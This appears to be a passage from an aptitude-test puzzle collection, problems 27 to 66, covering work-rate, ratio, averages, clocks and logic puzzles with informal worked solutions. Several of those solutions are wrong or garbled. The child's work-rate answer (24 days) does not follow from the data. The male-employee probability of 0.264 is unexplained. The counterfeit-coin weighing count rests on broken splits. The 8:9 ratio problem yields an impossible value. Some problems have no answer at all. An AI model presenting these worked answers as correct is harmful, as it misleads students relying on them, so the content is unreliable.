a = 500 (a = 3000-50*50 = 500 or a = 1750 - 25*50 = 500)
so total cost when 100 boarders = c = a + 100k = 500 + 100*50 = 5500
so cost per head = 5500/100 = 55

27) Amal bought 5 pens, 7 pencils and 4 erasers. Rajan bought 6 pens, 8 erasers and 14 pencils for an amount which was half more than what Amal had paid. What % of the total amount paid by Amal was paid for pens?
a) 37.5% b) 62.5% c) 50% d) None of these
Sol)
Let, 5 pens + 7 pencils + 4 erasers = x rupees
so 10 pens + 14 pencils + 8 erasers = 2*x rupees
also mentioned, 6 pens + 14 pencils + 8 erarsers = 1.5*x rupees
so (10-6) = 4 pens = (2-1.5)x rupees
so 4 pens = 0.5x rupees => 8 pens = x rupees
so 5 pens = 5x/8 rupees = 5/8 of total (note x rupees is total amt paid byamal)
i.e 5/8 = 500/8% = 62.5% is the answer

28) I lost Rs.68 in two races. My second race loss is Rs.6 more than the first race. My friend lost Rs.4 more than me in the second race. What is the amount lost by my friend in the second race?
Sol)
x + x+6 = rs 68
2x + 6 = 68
2x = 68-6
2x = 62
x=31
x is the amt lost in I race
x+ 6 = 31+6=37 is lost in second race
then my friend lost 37 + 4 = 41 Rs

29) Ten boxes are there. Each ball weighs 100 gms. One ball is weighing 90 gms. i) If there are 3 balls (n=3) in each box, how many times will it take to find 90 gms ball? ii) Same question with n=10 iii) Same question with n=9
to me the chances are
when n=3
(i) nC1= 3C1 =3 for 10 boxes .. 10*3=30
(ii) 10C1=10 for 10 boxes ....10*10=100
(iii)9C1=9 for 10 boxes .....10*9=90

30) (1-1/6) (1-1/7).... (1- (1/ (n+4))) (1-(1/ (n+5))) = ?
leaving the first numerater and last denominater, all the numerater and denominater will cancelled out one another. Ans. 5/(n+5)

31) A face of the clock is divided into three parts. First part hours total is equal to the sum of the second and third part. What is the total of hours in the bigger part?
Sol) the clock normally has 12 hr
three parts x,y,z
x+y+z=12
x=y+z
2x=12
x=6
so the largest part is 6 hrs

32) With 4/5 full tank vehicle travels 12 miles, with 1/3 full tank how much distance travels
Sol) 4/5 full tank= 12 mile
1 full tank= 12/(4/5)
1/3 full tank= 12/(4/5)*(1/3)= 5 miles

33) wind blows 160 miles in 330min.for 80 miles how much time required
Sol) 160 miles= 330 min
1 mile = 330/160
80 miles=(330*80)/160=165 min.

34) A person was fined for exceeding the speed limit by 10mph.another person was also fined for exceeding the same speed limit by twice the same if the second person was travelling at a speed of 35 mph. find the speed limit
Sol)
(x+10)=(x+35)/2
solving the eqn we get x=15

35) A sales person multiplied a number and get the answer is 3 instead of that number divided by 3. what is the answer he actually has to get.
Sol) Assume 1
1* 3 = 3
1*1/3=1/3
so he has to got 1/3
this is the exact answer

36) A person who decided to go weekend trip should not exceed 8 hours driving in a day average speed of forward journey is 40 mph due to traffic in Sundays the return journey average speed is 30 mph. How far he can select a picnic spot.

37) Low temperature at the night in a city is 1/3 more than 1/2 hinge as higher temperature in a day. Sum of the low temp and high temp is 100 c. then what is the low temp.
ans is 40 c.
Sol) let x be the highest temp. then,
x+x/2+x/6=100.
therefore, x=60 which is the highest temp
and 100-x=40 which is the lowest temp.

38) car is filled with four and half gallons of oil for full round trip. Fuel is taken 1/4 gallons more in going than coming. What is the fuel consumed in coming up.
Sol) let feul consumed in coming up is x. thus equation is: x+1.25x=4.5ans:2gallons

39) A work is done by the people in 24 min. One of them can do this work alone in 40 min. How much time required to do the same work for the second person
Sol) Two people work together in 24 mins.
So, their one day work is
(1/A)+(1+B)=(1/24)
One man can complete the work in 40mins
one man's one day work (1/B)= (1/40)
Now,
(1/A)=(1/24)-(1/40)
(1/A)=(1/60)
So, A can complete the work in 60 mins.

40) In a company 30% are supervisors and 40% employees are male if 60% of supervisors are male. What is the probability? That a randomly chosen employee is a male or female?
Sol) 40% employees are male if 60% of supervisors are male so for 100% is 26.4%so the probability is 0.264

41) In 80 coins one coin is counterfeit what is minimum number of weighing to find out counterfeit coin
Sol) the minimum number of wieghtings needed is just 5.as shown below
(1) 80->30-30
(2) 15-15
(3) 7-7
(4) 3-3
(5) 1-1

42) 2 oranges, 3 bananas and 4 apples cost Rs.15. 3 oranges, 2 bananas, and 1 apple costs Rs 10. What is the cost of 3 oranges, 3 bananas and 3 apples?
2x+3y+4z=15
3x+2y+z=10 adding
5x+5y+5z=25
x+y+z=5 that is for 1 orange, 1 bannana and 1 apple requires 5Rs.
so for 3 orange, 3 bannana and 3 apple requires 15Rs.
i.e. 3x+3y+3z=15

43) In 8*8 chess board what is the total number of squares refers
Sol) odele discovered that there are 204 squares on the board We found that you would add the different squares - 1 + 4 + 9 + 16+ 25 + 36 + 49 + 64.
Also in 3*3 tic tac toe board what is the total no of squares
Ans 14 ie 9+4(bigger ones)+1 (biggest one)
If you ger 100*100 board just use the formula
the formula for the sum of the first n perfect squares is
n x (n + 1) x (2n + 1)
______________________
6
if in this formula if you put n=8 you get your answer 204

44) One fast typist type some matter in 2hr and another slow typist type the same matter in 3hr. If both do combinely in how much time they will finish.
Sol) Faster one can do 1/2 of work in one hourslower one can do 1/3 of work in one hourboth they do (1/2+1/3=5/6) th work in one hour.so work will b finished in 6/5=1.2 hour i e 1 hour 12 min.

45) If Rs20/- is available to pay for typing a research report & typist A produces 42 pages and typist B produces 28 pages. How much should typist A receive?
Here is the answer Find of 42 % of 20 rs with respect to 70 (i.e 28 + 42) ==> (42 * 20 )/70 ==> 12 Rs

46) An officer kept files on his table at various times in the order 1,2,3,4,5,6. Typist can take file from top whenever she has time and type it.What order she cannt type.?

47) In some game 139 members have participated every time one fellow will get bye what is the number of matches to choose the champion to be held?
the answer is 138 matches
Sol) since one player gets a bye in each round,he will reach the finals of the tournament without playing a match. http://www.ChetanaS.org
therefore 137 matches should be played to detemine the second finalist from the remaining 138 players(excluding the 1st player)
therefore to determine the winner 138 matches shd be played.

48) One rectangular plate with length 8inches, breadth 11 inches and 2 inches thickness is there. What is the length of the circular rod with diameter 8 inches and equal to volume of rectangular plate?
Sol) Vol. of rect. plate= 8*11*2=176
area of rod=(22/7)*(8/2)*(8/2)=(352/7)
vol. of rod=area*length=vol. of plate
so length of rod= vol of plate/area=176/(352/7)=3.5

49) One tank will fill in 6 minutes at the rate of 3cu ft /min, length of tank is 4 ft and the width is 1/2 of length, what is the depth of the tank?
3 ft 7.5 inches

50) A man has to get air-mail. He starts to go to airport on his motorbike. Plane comes early and the mail is sent by a horse-cart. The man meets the cart in the middle after half an hour. He takes the mail and returns back, by doing so, he saves twenty minutes. How early did the plane arrive?
ans:10min:::assume he started at 1:00,so at 1:30 he met cart. He returned home at 2:00.so it took him 1 hour for the total jorney.by doing this he saved 20 min.so the actual time if the plane is not late is 1 hour and 20 min.so the actual time of plane is at 1:40.The cart travelled a time of 10 min before it met him.so the plane is 10 min early.

51) Ram singh goes to his office in the city every day from his suburban house. His driver Mangaram drops him at the railway station in the morning and picks him up in the evening. Every evening Ram singh reaches the station at 5 o'clock. Mangaram also reaches at the same time. One day Ram singh started early from his office and came to the station at 4 o'clock. Not wanting to wait for the car he starts walking home. Mangaram starts at normal time, picks him up on the way and takes him back house, half an hour early. How much time did Ram singh walked?

52) 2 trees are there. One grows at 3/5 of the other. In 4 years total growth of the trees is 8 ft. what growth will smaller tree have in 2 years.
Sol) THE BIG TREE GROWS 8FT IN 4 YEARS=>THE BIG TREE GROWS 4FT IN 2 YEARS.WHEN WE DIVIDE 4FT/5=.8*3=>2.4
ans: 1.5 mt 4 (x+(3/5)x)=88x/5=2x=5/4 after 2 years x=(3/5)*(5/4)*2 =1.5

53) There is a six digit code. Its first two digits, multiplied by 3 gives all ones. And the next two digits multiplied by 6 give all twos. Remaining two digits multiplied by 9 gives all threes. Then what is the code?
sol) Assume the digit xx xx xx (six digits)
First Two digit xx * 3=111
xx=111/3=37
( first two digits of 1 is not divisible by 3 so we can use 111)
Second Two digit xx*6=222
xx=222/6=37
( first two digits of 2 is not divisible by 6 so we can use 222)
Thrid Two digit xx*9=333
xx=333/9=37
( first two digits of 3 is not divisible by 9 so we can use 333)

54) There are 4 balls and 4 boxes of colours yellow, pink, red and green. Red ball is in a box whose colour is same as that of the ball in a yellow box. Red box has green ball. In which box you find the yellow ball?
ans is green...
Sol) Yellow box can have either of pink/yellow balls.
if we put a yellow ball in "yellow" box then it wud imply that "yellow" is also the colour of the box which has the red ball(becoz acordin 2 d question,d box of the red ball n the ball in the yellow box have same colour)
thus this possibility is ruled out...
therefore the ball in yellow box must be pink,hence the colour of box containin red ball is also pink....
=>the box colour left out is "green",,,which is alloted to the only box left,,,the one which has yellow ball..

55) A bag contains 20 yellow balls, 10 green balls, 5 white balls, 8 black balls, and 1 red ball. How many minimum balls one should pick out so that to make sure the he gets at least 2 balls of same color.
Ans:he should pick 6 ball totally.
Sol) Suppose he picks 5 balls of all different colours then when he picks up the sixth one, it must match any on of the previously drawn ball colour.
thus he must pick 6 balls

56) What is the number of zeros at the end of the product of the numbers from 1 to 100
Sol) For every 5 in unit palce one zero is added Ch eta naS
so between 1 to 100 there are 10 nos like 5,15,25,..,95 which has 5 in unit place.
Similarly for every no divisible by 10 one zero is added in the answer so between 1 to 100 11 zeros are added
for 25,50,75 3 extra zeros are added
so total no of zeros are 10+11+3=24

57) 10 Digit number has its first digit equals to the numbers of 1's, second digit equals to the numbers of 2's, 3rd digit equals to the numbers of 3's .4th equals number of 4's..till 9th digit equals to the numbers of 9's and 10th digit equals to the number of 0's. what is the number?.(6marks)
ans:2100010006
2---shows that two 1's in the ans
1---shows that one 2 in ans
0---shows no 3 in the ans
0---shows no 4 in the ans
0---shows no 5 in the ans
1---shows one 6 in the ans
0---shows no 7 in the ans
0---shows no 8 in the ans
0---shows no 9 in the ans
6---shows six 0's in the ans

58) There are two numbers in the ratio 8:9. if the smaller of the two numbers is increased by 12 and the larger number is reduced by 19 thee the ratio of the two numbers is 5:9. Find the larger number?
sol) 8x:9x initialy
8x+ 12 : 9x - 19 = 5x:9x
8x+12 = 5x
-> x = 4
9x = 36 not sure about the answer ..

59) There are three different boxes A, B and C. Difference between weights of A and B is 3 kgs. And between B and C is 5 kgs. Then what is the maximum sum of the differences of all possible combinations when two boxes are taken each time
A-B = 3
B-c = 5
a-c = 8
so sum of diff = 8+3+5 = 16 kgs

60) A and B are shooters and having their exam. A and B fall short of 10 and 2 shots respectively to the qualifying mark. If each of them fired atleast one shot and even by adding their total score together, they fall short of the qualifying mark, what is the qualifying mark?
ans is 11
coz each had atleast 1 shot done so 10 + 1 = 11
n 9 + 2 = 11
so d ans is 11

61) A, B, C, and D tells the following times by looking at their watches. A tells it is 3 to 12. B tells it is 3 past 12. C tells it is 12:2. D tells it is half a dozen too soon to 12. No two watches show the same time. The difference between the watches is 2,3,4,5 respectively. Whose watch shows maximum time?
sol) A shows 11:57, B shows 12:03, C shows 12:02, and D shows 11:06 therefore, max time is for B

62) Falling height is proportional to square of the time. One object falls 64cm in 2sec than in 6sec from how much height the object will fall.
Sol) The falling height is proportional to the squere of the time.
Now, the falling height is 64cm at 2sec
so, the proportional constant is=64/(2*2)=16;
so, at 6sec the object fall maximum (16*6*6)cm=576cm;
Now, the object may be situated at any where.
if it is>576 only that time the object falling 576cm within 6sec .Otherwise if it is situated<576 then it fall only that height at 6sec.

63) Gavaskar average in first 50 innings was 50. After the 51st innings his average was 51 how many runs he made in the 51st innings
Ans) first 50 ings.- run= 50*50=2500
51st ings.- avg 51. so total run =51*51=2601.
so run scored in that ings=2601-2500=101 runs.

64) Anand finishes a work in 7 days, Bittu finishes the same job in 8 days and Chandu in 6 days. They take turns to finish the work. Anand on the first day, Bittu on the second and Chandu on the third day and then Anand again and so on. On which day will the work get over?
a) 3rd b) 6th c) 9th d) 7th
Ans is d) 7th day
Sol) In d 1st day Anand does 1/7th of total work
similarly,
Bithu does 1/8th work in d 2nd day
hence at d end of 3 days, work done = 1/7+1/8+1/6=73/168
remaining work = (168-73)/168 = 95/168
again after 6 days of work, remaining work is = (95-73)/168 = 22/168
and hence Anand completes the work on 7th day.(hope u understood.)

65) A man, a women and a child can do a piece of work in 6 days,man can do it in 14 days, women can do it 16 days, and in how many days child can do the same work?
The child does it in 24 days

66)
A: 1 1 0 1 1 0 1 1
B: 0 1 1 1 1 0 1 0
C: 0 1 1 0 1 1 0 1
Find ( (A-B) u C )==?
Hint : 109
A-B is {A} - {A n B}
A: 1 1 0 1 1 0 1 1
B: 0 1 1 1 1 0 1 0
by binary sub. a-b = 01100001 (1-0=1, 1-1=0,0-0=0, n for the 1st 3 digits 110-011=011)
now (a-b)uc= 01100001
or 01101101
gives 1101101... convert to decimal equals 109